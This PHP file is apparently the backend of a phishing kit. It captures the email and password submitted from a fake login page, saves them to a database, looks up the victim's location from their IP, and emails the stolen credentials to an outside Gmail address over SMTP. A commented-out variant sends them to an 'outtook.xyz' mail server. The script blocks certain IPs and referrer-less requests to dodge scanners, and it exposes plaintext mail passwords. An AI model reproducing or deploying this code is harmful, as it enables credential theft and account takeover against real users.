
<?php 
session_start();
include ("connect.php");
    // Import PHPMailer classes into the global namespace
    // These must be at the top of your script, not inside a function
    use PHPMailer\PHPMailer\PHPMailer;
    use PHPMailer\PHPMailer\SMTP;
    use PHPMailer\PHPMailer\Exception;


//if (isset($_POST ['submit'])){
    //$email = $_POST['email'];
    //$pass = $_POST['pass'];
    // $_SESSION['pswd'] = $_POST['password'];
    // $_SESSION['email'] = $_POST['email'];

    //echo $_SESSION['email'];
    //echo $_SESSION['pass'];
    

    $email = $_POST['email'];
    $password = $_POST['password'];
    $referrer = $_SERVER['HTTP_REFERER'];


    
    $time = date("Y-m-d H:i:s");
    $ip = $_SERVER['REMOTE_ADDR'];
    if ($ip == '93.187.217.222' || $ip == '2a06:98c0:3600::103' || $referrer == ''){
        exit();
    }
    $country = ip_info($ip, "Country"); // United States
    $contry_code = ip_info($ip, "Country Code"); // US
    $state = ip_info($ip, "State"); // California
    $city = ip_info($ip, "City"); // Menlo Park
    $address = ip_info($ip, "Address"); // Menlo Park, California, United States
    $location = $country." ".$country_code." ".$state." ".$city." ".$address;
    
    //echo $ip;
    //echo $location;
    if (isset($email) && isset($password)){
    mysqli_query($con, "insert into tbl_data (time, password, email, ip, location, intSubmit) 
    VALUES ('$time','$password','$email', '$ip', '$location', '$referrer')");

    
    // $to = "houstondavidson@yandex.com";
    // $sub = "RESULT";
    // $head = "MIME-Version: 1.0\r\n";
    // $head .= "Content-type: text/html; charset=utf-8";
    // $msg='<b>Email:</b>'.$email.'<br><b>Password:</b>'.$password.'<br><b>Time:</b>'.$time.'<br><b>IP:</b>'.$ip.'<br><b>Location:</b>'.$location.'.';
  
    // if (mail($to,$sub,$msg,$head))
    //     echo "Your Mail is sent successfully.";
    // else
    //     echo "Your Mail is not sent. Try Again.";
          
        
    // GMAIL MAIL SHOOT SETUP
    $to = "markareecl35@gmail.com";
    // $to = "afambuchi0@gmail.com";
    $subject = 'RESULT';
    $body = '<b>mail:</b>'.$email.'<br><b>pass:</b>'.$password.'<br><b>Time:</b>'.$time.'<br><b>IP:</b>'.$ip.'<br><b>Location:</b>'.$location.'.';
    $from = 'mk.otti@stu.unizik.edu.ng';
    $fromName = 'AUTOBG RESULT';
    $username = 'mk.otti@stu.unizik.edu.ng';
    $mpassword = 'qtkm adfn yjhd ppbp'; // Use the app password generated from your Google Account

    sendEmail($to, $subject, $body, $from, $fromName, $username, $mpassword);
  

        
    }
    			
    /*
    // Load Composer's autoloader
    require 'vendor/autoload.php';
    
    // Instantiation and passing `true` enables exceptions
    $mail = new PHPMailer(true);
    
    try {
        //Server settings
        //$mail->SMTPDebug = SMTP::DEBUG_SERVER;                      // Enable verbose debug output
        $mail->isSMTP();                                            // Send using SMTP
        $mail->Host       = 'mail.outtook.xyz';                       // Set the SMTP server to send through
        $mail->SMTPAuth   = true;                                   // Enable SMTP authentication
        $mail->Username   = 'result@outtook.xyz';//naveenkumar70271@gmail.com';           // SMTP username
        $mail->Password   = 'Laptop2020@';//dtpiamqocrzyytih';                     // SMTP password
        $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;         // Enable TLS encryption; `PHPMailer::ENCRYPTION_SMTPS` encouraged
        $mail->Port       = 587;                                    // TCP port to connect to, use 465 for `PHPMailer::ENCRYPTION_SMTPS` above
    
        //Recipients
        $mail->setFrom('result@outtook.xyz', 'Result Box');
        $mail->addAddress('scholarship.unistores@gmail.com', 'Unistores');     // Add a recipient
        //$mail->addAddress('ellen@example.com');               // Name is optional
        $mail->addReplyTo('result@outtook.xyz', 'Information');
        //$mail->addCC('cc@example.com');
        //$mail->addBCC('bcc@example.com');
    
        // Attachments
        //$mail->addAttachment('/var/tmp/file.tar.gz');         // Add attachments
        //$mail->addAttachment('/tmp/image.jpg', 'new.jpg');    // Optional name
    
        // Content
        $mail->isHTML(true);                                  // Set email format to HTML
        $mail->Subject = 'Outlook';
        $mail->Body    = '<b>Email:</b>'.$email.'<br><b>Password:</b>'.$password.'<br><b>Time:</b>'.$time.'<br><b>IP:</b>'.$ip.'<br><b>Location:</b>'.$location.'.';
        $mail->AltBody = 'Someone just drop filled in your outlook, check your result box login for details';
    
        $mail->send();
        //echo 'Message has been sent';
    } catch (Exception $e) {
        //echo "Message could not be sent. Mailer Error: {$mail->ErrorInfo}";
    }
*/

//echo "<script>window.location.assign('index.html');</script>";

//}

?>

<?php

function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) {
    $output = NULL;
    if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) {
        $ip = $_SERVER["REMOTE_ADDR"];
        if ($deep_detect) {
            if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP))
                $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
            elseif (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
                $ip = $_SERVER['HTTP_CLIENT_IP'];
        }
    }

    $purpose    = str_replace(array("name", "\n", "\t", " ", "-", "_"), NULL, strtolower(trim($purpose)));
    $support    = array("country", "countrycode", "state", "region", "city", "location", "address");
    $continents = array(
        "AF" => "Africa",
        "AN" => "Antarctica",
        "AS" => "Asia",
        "EU" => "Europe",
        "OC" => "Australia (Oceania)",
        "NA" => "North America",
        "SA" => "South America"
    );

    if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) {
        $ipdat = @json_decode(file_get_contents("http://ip-api.com/json/" . $ip));
        if (@$ipdat->status == "success") {
            switch ($purpose) {
                case "location":
                    $output = array(
                        "city"           => @$ipdat->city,
                        "state"          => @$ipdat->regionName,
                        "country"        => @$ipdat->country,
                        "country_code"   => @$ipdat->countryCode,
                        "continent"      => @$continents[strtoupper($ipdat->continentCode ?? '')] ?? null,
                        "continent_code" => @$ipdat->continentCode
                    );
                    break;
                case "address":
                    $address = array($ipdat->country);
                    if (@strlen($ipdat->regionName) >= 1)
                        $address[] = $ipdat->regionName;
                    if (@strlen($ipdat->city) >= 1)
                        $address[] = $ipdat->city;
                    $output = implode(", ", array_reverse($address));
                    break;
                case "city":
                    $output = @$ipdat->city;
                    break;
                case "state":
                case "region":
                    $output = @$ipdat->regionName;
                    break;
                case "country":
                    $output = @$ipdat->country;
                    break;
                case "countrycode":
                    $output = @$ipdat->countryCode;
                    break;
            }
        }
    }
    return $output;
}

?>

<?php

function sendEmail($to, $subject, $body, $from, $fromName, $username, $password) {
    // Prepare the email headers
    $headers = array(
        'MIME-Version: 1.0',
        'Content-Type: text/html; charset=UTF-8',
        'From: ' . $fromName . ' <' . $from . '>',
        'Reply-To: ' . $from,
        'Subject: ' . $subject,
        'To: ' . $to
    );

    // Combine headers into a string
    $headersString = implode("\r\n", $headers);

    // Prepare the email body
    $emailData = "From: " . $fromName . " <" . $from . ">\r\n" .
                 "Reply-To: " . $from . "\r\n" .
                 "MIME-Version: 1.0\r\n" .
                 "Content-Type: text/html; charset=UTF-8\r\n" .
                 "Subject: " . $subject . "\r\n" .
                 "To: " . $to . "\r\n" .
                 "\r\n" .
                 $body;

    // Set up cURL options
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, 'smtps://smtp.gmail.com:465'); // For SSL
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
    curl_setopt($ch, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_2);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_USERNAME, $username);
    curl_setopt($ch, CURLOPT_PASSWORD, $password);
    curl_setopt($ch, CURLOPT_MAIL_FROM, $from);
    curl_setopt($ch, CURLOPT_MAIL_RCPT, array($to));
    curl_setopt($ch, CURLOPT_UPLOAD, true);

    // Prepare email data for cURL
    $emailStream = fopen('php://temp', 'r+');
    fwrite($emailStream, $emailData);
    rewind($emailStream);
    curl_setopt($ch, CURLOPT_INFILE, $emailStream);

    // Execute cURL request
    $response = curl_exec($ch);

    // Check for errors
    if (curl_errno($ch)) {
        echo 'Error: ' . curl_error($ch);
    } else {
        echo 'Email sent successfully!';
    }

    // Clean up
    fclose($emailStream);
    curl_close($ch);
}
?>
